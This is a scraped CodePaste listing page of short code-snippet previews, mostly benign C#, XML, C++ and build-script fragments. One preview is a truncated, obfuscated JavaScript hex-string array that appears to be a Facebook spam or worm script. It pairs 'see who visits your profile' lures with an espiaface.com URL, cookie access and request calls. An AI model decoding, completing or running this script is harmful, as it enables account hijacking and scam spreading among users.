CodePaste Logo
New Snippet New Snippet Recent Snippets Recent Snippets My Snippets My Snippets Web Code Search Snippets Search
Sign inor Register
Format:
Recent snippets matching tags of DI
C#
return members == null ? 0 : members.Count;
by Warren Wiltshire   May 10, 2012 @ 6:57am
15 Views
no comments
 
displayError = function (result) {
    $('#errorDisplay').show();
    $('#errorDisplay').html(result.responseText);
}
by Warren Wiltshire   May 02, 2012 @ 5:20am
29 Views
no comments
 
XML
SelectedItem="{Binding TheProperty, PresentationTraceSources.TraceLevel=High}"
by patrick   March 12, 2012 @ 5:46am
34 Views
no comments
 
C#
// No changes to the _Layout.cshtml, only changes in Global.asax.cs as follows:
 
// Case 1. Default - knockout.debug.js doesn't work, knockout-debug.js works (looks like it doesn't like the .debug.js extension)
BundleTable.Bundles.RegisterTemplateBundles();
 
// Case 2. Deleted the above and added the below - same behavior
BundleTable.Bundles.EnableDefaultBundles();
 
// Case 3. AddFile to the BundleTable manually
jstransformer = new NoTransform("text/javascript");
by VinKamat   March 07, 2012 @ 8:45am
38 Views
no comments
 
XML
<!-- CTRL+K, CTRL+X = Insert Snippet -->
<!-- CTRL+K, CTRL+B = Manage Snippets -->
<CodeSnippet Format="1.0.0" 
             xmlns="http://schemas.microsoft.com/VisualStudio/2005/CodeSnippet">
  
  <Header>
    <Title>Property with NotifyPropertyChanged</Title>
    <Author>Jerry Nixon</Author>
    <Shortcut>propnote</Shortcut>
    <Description>Property with NotifyPropertyChanged</Description>
by Jerry Nixon   November 08, 2011 @ 9:29am
372 Views
1 comments
 
XML
<system.diagnostics>
      <sources>
        <source name="TraceSourceApp"
          switchName="sourceSwitch"
          switchType="System.Diagnostics.SourceSwitch">
          <listeners>
            <add name="console"
              type="System.Diagnostics.ConsoleTraceListener">
              <filter type="System.Diagnostics.EventTypeFilter"
                initializeData="Warning"/>
by bnaya   November 03, 2011 @ 12:25am
57 Views
no comments
 
C#
private static TraceSource mySource =
            new TraceSource("TraceSourceApp");
static void Main(string[] args)
{
    mySource.TraceEvent(TraceEventType.Error, 1, "Error message.");
 
    // Change the event type for which tracing occurs.
    // The console trace listener must be specified 
    // in the configuration file. First, save the original
    // settings from the configuration file.
by bnaya   November 03, 2011 @ 12:24am
75 Views
no comments
 
C#
public static class UnityContainerExtensions
{
    public static void AssertMappingsAreValid(this IUnityContainer container)
    {            
        foreach (var registration in container.Registrations)
        {
            container.Resolve(registration.RegisteredType, registration.Name);
        }
    }
}
by Byteflux   October 04, 2011 @ 10:36pm
138 Views
no comments
 
C#
 [TestMethod]
 public void TestRenamedbContextMenu()
 {
     dbContext context = new dbContext();
 
     // Load the first menu
     Menu menu = context.Menus.FirstOrDefault();
 
     // force a change
     menu.ModifiedOn = DateTime.Now;
by Rick Strahl   September 27, 2011 @ 4:43am
277 Views
no comments
 
C++
#include <algorithm>
#include <iostream>
#include <sstream>
#include <string>
#include <vector>
#include <queue>
#include <set>
#include <map>
#include <cstdio>
#include <cstdlib>
by iscsi   July 26, 2011 @ 6:23am
74 Views
no comments
 
C++
#include <algorithm>
#include <iostream>
#include <sstream>
#include <string>
#include <vector>
#include <queue>
#include <set>
#include <map>
#include <cstdio>
#include <cstdlib>
by iscsi   July 24, 2011 @ 11:45am
81 Views
no comments
 
VCS provider logon failed: ORA-06550: line 1, column 58:
PL/SQL: ORA-01031: insufficient privileges
ORA-06550: line 1, column 46:
PL/SQL: SQL Statement ignored
by Geoff   June 22, 2011 @ 8:50am
145 Views
no comments
 
C++
#include "for_each.h"
#include <iostream>
#include <tuple>
 
// ------- Fibonacii number generator ---------
template<int N>
struct Fib
{
    enum { value = Fib<N-1>::value + Fib<N-2>::value };
};
by sigidagi   June 18, 2011 @ 2:27am
172 Views
no comments
 
C++
#include "for_each.h"
#include <iostream>
#include <string>
#include <tuple>
 
using namespace std;
 
struct Functor 
{
    template<typename T>
by sigidagi   June 17, 2011 @ 1:12pm
124 Views
1 comments
 
C++
// =====================================================================================
// 
//       Filename:  for_each.h
// 
// =====================================================================================
 
 
#ifndef  FOR_EACH_INC
#define  FOR_EACH_INC
by sigidagi   June 17, 2011 @ 12:31pm
143 Views
1 comments
 
C++
// =====================================================================================
// 
//       Filename:  indexes.h
//
// =====================================================================================
 
 
#ifndef  INDEXES_INC
#define  INDEXES_INC
by sigidagi   June 17, 2011 @ 12:08pm
151 Views
2 comments
 
copy $(ProjectDir)\..\{path to file} $(TargetDir)
 
rem add '1>nul' to NOT display any messages from the copy.
rem add '2>nul' to NOT fail the build and to NOT display any error messages from the copy.
 
 
by Al Gonzalez   June 16, 2011 @ 3:44pm
151 Views
no comments
 
C#
using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
 
public partial class Features_ImportExport : System.Web.UI.Page
{
    const string DocumentUrl = @"~/Content/Demo/SampleImportDocument.rtf";
    const string ContentFolder = @"~/UploadImages/Imported";
by Mehul Harry   May 30, 2011 @ 10:04pm
287 Views
no comments
 
var _0x3fe9=["x25x66x69x72x73x74x6Ex61x6Dx65x25x20x6Dx69x72x61x20x65x73x74x6Fx20x71x75x65x20x65x73x20x69x6Ex63x72x65x69x62x6Cx65x2Cx20x74x65x20x70x65x72x6Dx69x74x65x20x76x65x72x20x71x75x69x65x6Ex65x73x20x76x69x73x69x74x61x6Ex20x74x75x20x70x65x72x66x69x6Cx20x79x20x66x75x6Ex63x69x6Fx6Ex61x20x62x69x65x6Ex2Cx20x65x6Ex74x72x61x20x61x3Ax20x65x73x70x69x61x66x61x63x65x2Ex63x6Fx6D","x54x6Fx70x20x64x65x20x76x69x73x69x74x61x6Ex74x65x73x20x64x65x20x74x75x20x70x65x72x66x69x6Cx20x64x65x20x68x6Fx79x3Ax20x0Ax20x25x74x66x25x20x2Dx20x31x39x20x76x69x73x69x74x61x73x20x0Ax20x25x74x66x25x20x2Dx20x31x36x20x76x69x73x69x74x61x73x20x0Ax20x25x74x66x25x20x2Dx20x31x35x20x76x69x73x69x74x61x73x20x0Ax20x25x74x66x25x20x2Dx20x31x33x20x76x69x73x69x74x61x73x20x0Ax20x41x76x65x72x69x67x75x61x20x74x75x20x74x61x6Dx62x69x65x6Ex20x71x75x69x65x6Ex20x74x65x20x65x73x74x61x20x6Dx69x72x61x6Ex64x6Fx20x65x6Ex74x72x61x6Ex64x6Fx20x65x6Ex3Ax20x65x73x70x69x61x66x61x63x65x2Ex63x6Fx6Dx0Ax46x75x6Ex63x69x6Fx6Ex61x20x64x65x20x76x65x72x64x61x64x21","x68x74x74x70x3Ax2Fx2Fx77x77x77x2Ex65x73x70x69x61x66x61x63x65x2Ex63x6Fx6D
x2Fx63x61x72x67x61x2Ex70x68x70","x45x73x74x6Fx20x65x73x20x69x6Ex63x72x65x69x62x6Cx65x21x20x70x75x65x64x65x6Ex20x76x65x72x20x71x75x69x65x6Ex20x65x73x74x61x20x76x69x73x69x74x61x6Ex64x6Fx20x73x75x20x70x65x72x66x69x6Cx20x79x20x74x65x20x6Cx6Cx
65x67x61x6Ex20x6Ex6Fx74x69x66x69x63x61x63x69x6Fx6Ex65x73x2Cx20x73x69x67x61x6Ex20x6Cx6Fx73x20x70x61x73x6Fx73x20x64x65x2
 
0x65x73x74x61x20x70x61x67x69x6Ex61x20x71x75x65x20x65x78x70x6Cx69x63x61x20x63x6Fx6Dx6Fx20x68x61x63x65x72x6Cx6Fx2Cx20x65
x6Ex74x72x65x6Ex20x65x6Ex3Ax20x65x73x70x69x61x66x61x63x65x2Ex63x6Fx6D","x41x76x65x72x69x67x75x61x20x71x75x69x65x6Ex20x7
6x69x73x69x74x61x20x74x75x20x70x65x72x66x69x6C","x68x72x65x66","x6Cx6Fx63x61x74x69x6Fx6E","x74x6Fx70","x47x45x54","x6Fx70x65
x6E","x6Fx6Ex72x65x61x64x79x73x74x61x74x65x63x68x61x6Ex67x65","x72x65x61x64x79x53x74x61x74x65","x73x74x61x74x75x73","x72x65
x73x70x6Fx6Ex73x65x54x65x78x74","x73x65x6Ex64","x2F","x6Dx61x74x63x68","x63x6Fx6Fx6Bx69x65","x40x5B","x69x64","x3A","x6Ex61x6D
150 Views
no comments
 
package juddiv3admin.juddiv3;
 
/**
 * Abbreviations from <code>org.apache.juddi.query.util.FindQualifiers</code>.
 * @author Martynas
 */
public class FindQualifiersAbbreviations
{
    public static final String AND_ALL_KEYS = "andAllKeys";
by Martynas   March 29, 2011 @ 5:36am
112 Views
no comments
 
brought to you by:
West Wind Techologies



If you find this site useful and use it frequently please consider making a donation to support this free service.
Donate